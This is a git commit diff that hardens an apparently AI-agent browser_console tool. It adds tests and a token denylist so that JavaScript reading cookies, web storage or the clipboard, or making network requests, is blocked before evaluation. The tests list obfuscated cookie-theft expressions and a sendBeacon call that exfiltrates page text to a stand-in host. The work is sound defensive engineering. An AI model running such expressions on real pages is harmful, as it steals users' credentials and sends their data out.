fix(browser): block bracketed sensitive eval primitives
This commit is contained in:
parent
a0beb52a50
commit
937e56be92
2 changed files with 99 additions and 1 deletions
|
|
@ -189,6 +189,40 @@ class TestBrowserConsole:
|
|||
|
||||
mock_eval.assert_not_called()
|
||||
|
||||
def test_expression_blocks_equivalent_bracket_sensitive_access_before_eval(self):
|
||||
from tools.browser_tool import browser_console
|
||||
|
||||
risky_expressions = [
|
||||
'document["cookie"]',
|
||||
"document['cookie']",
|
||||
'document[`cookie`]',
|
||||
'document["coo" + "kie"]',
|
||||
'document["co\\x6fkie"]',
|
||||
'globalThis["fetch"]("/exfil")',
|
||||
'window["XMLHttpRequest"]',
|
||||
'navigator["sendBeacon"]("https://evil.test", document.body.innerText)',
|
||||
'navigator["clipboard"].readText()',
|
||||
'globalThis["localStorage"].getItem("token")',
|
||||
]
|
||||
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
patch("tools.browser_tool._browser_eval") as mock_eval:
|
||||
for expr in risky_expressions:
|
||||
result = json.loads(browser_console(expression=expr, task_id="test"))
|
||||
assert result["success"] is False, expr
|
||||
assert "Blocked" in result["error"], expr
|
||||
|
||||
mock_eval.assert_not_called()
|
||||
|
||||
def test_expression_allows_string_literals_without_sensitive_tokens(self):
|
||||
from tools.browser_tool import browser_console
|
||||
|
||||
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
||||
patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": True})) as mock_eval:
|
||||
result = json.loads(browser_console(expression='document.title.includes("Example")', task_id="test"))
|
||||
|
||||
assert result == {"success": True, "result": True}
|
||||
mock_eval.assert_called_once_with('document.title.includes("Example")', "test")
|
||||
|
||||
def test_expression_config_opt_in_allows_risky_eval(self):
|
||||
from tools.browser_tool import browser_console
|
||||
|
||||
|
|
|
|||
|
|
@ -3376,6 +3376,25 @@ _RISKY_BROWSER_EVAL_PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = (
|
|||
(re.compile(r"\bdocument\s*\.\s*forms\b.*\bvalue\b", re.I | re.S), "form value extraction"),
|
||||
(re.compile(r"\bquerySelector(?:All)?\s*\([^)]*(?:input|textarea|password)[^)]*\).*\bvalue\b", re.I | re.S), "form value extraction"),
|
||||
)
|
||||
_JS_STRING_LITERAL_RE = re.compile(
|
||||
r"""'(?:\\.|[^'\\])*'|\"(?:\\.|[^\"\\])*\"|`(?:\\.|[^`\\])*`""",
|
||||
re.S,
|
||||
)
|
||||
_SENSITIVE_BROWSER_EVAL_TOKENS: tuple[tuple[str, str], ...] = (
|
||||
("cookie", "document.cookie"),
|
||||
("localStorage", "web storage"),
|
||||
("sessionStorage", "web storage"),
|
||||
("indexedDB", "IndexedDB"),
|
||||
("caches", "Cache Storage"),
|
||||
("clipboard", "navigator sensitive API"),
|
||||
("credentials", "navigator sensitive API"),
|
||||
("serviceWorker", "navigator sensitive API"),
|
||||
("fetch", "network request"),
|
||||
("XMLHttpRequest", "network request"),
|
||||
("WebSocket", "network request"),
|
||||
("EventSource", "network request"),
|
||||
("sendBeacon", "network beacon"),
|
||||
)
|
||||
|
||||
|
||||
def _allow_unsafe_browser_evaluate() -> bool:
|
||||
|
|
@ -3397,6 +3416,51 @@ def _allow_unsafe_browser_evaluate() -> bool:
|
|||
return False
|
||||
|
||||
|
||||
def _decode_js_string_literal(literal: str) -> str:
|
||||
"""Best-effort decode of a JavaScript string literal for policy checks.
|
||||
|
||||
This is not a JS parser. It only normalizes common escaped property names
|
||||
such as ``document["co\\x6fkie"]`` before the fail-closed sensitive-token
|
||||
check below.
|
||||
"""
|
||||
if len(literal) < 2:
|
||||
return literal
|
||||
body = literal[1:-1]
|
||||
try:
|
||||
return bytes(body, "utf-8").decode("unicode_escape")
|
||||
except Exception:
|
||||
return body
|
||||
|
||||
|
||||
def _decoded_js_string_literals(expression: str) -> list[str]:
|
||||
return [_decode_js_string_literal(match.group(0)) for match in _JS_STRING_LITERAL_RE.finditer(expression)]
|
||||
|
||||
|
||||
def _sensitive_browser_eval_token_reason(expression: str) -> Optional[str]:
|
||||
"""Return a risk reason for direct or quoted sensitive browser primitives.
|
||||
|
||||
``browser_console(expression=...)`` executes in the page origin. A denylist
|
||||
that only searches direct spellings like ``document.cookie`` and ``fetch(``
|
||||
misses equivalent JavaScript property access such as ``document["cookie"]``
|
||||
or ``globalThis["fetch"](...)``. Treat sensitive primitive names as risky
|
||||
whether they appear as identifiers or decoded string-literal property names.
|
||||
Concatenating all string literals catches simple obfuscations like
|
||||
``document["coo" + "kie"]`` while the config opt-in preserves the escape
|
||||
hatch for trusted pages.
|
||||
"""
|
||||
string_literals = _decoded_js_string_literals(expression)
|
||||
concatenated_literals = "".join(string_literals).lower()
|
||||
for token, reason in _SENSITIVE_BROWSER_EVAL_TOKENS:
|
||||
if re.search(rf"\b{re.escape(token)}\b", expression, re.I):
|
||||
return reason
|
||||
token_lower = token.lower()
|
||||
if any(token_lower in literal.lower() for literal in string_literals):
|
||||
return reason
|
||||
if token_lower in concatenated_literals:
|
||||
return reason
|
||||
return None
|
||||
|
||||
|
||||
def _risky_browser_eval_reason(expression: str) -> Optional[str]:
|
||||
"""Return a human-readable reason if a JS expression uses risky primitives."""
|
||||
if not expression:
|
||||
|
|
@ -3404,7 +3468,7 @@ def _risky_browser_eval_reason(expression: str) -> Optional[str]:
|
|||
for pattern, reason in _RISKY_BROWSER_EVAL_PATTERNS:
|
||||
if pattern.search(expression):
|
||||
return reason
|
||||
return None
|
||||
return _sensitive_browser_eval_token_reason(expression)
|
||||
|
||||
|
||||
def _enforce_browser_eval_policy(expression: str) -> Optional[str]:
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue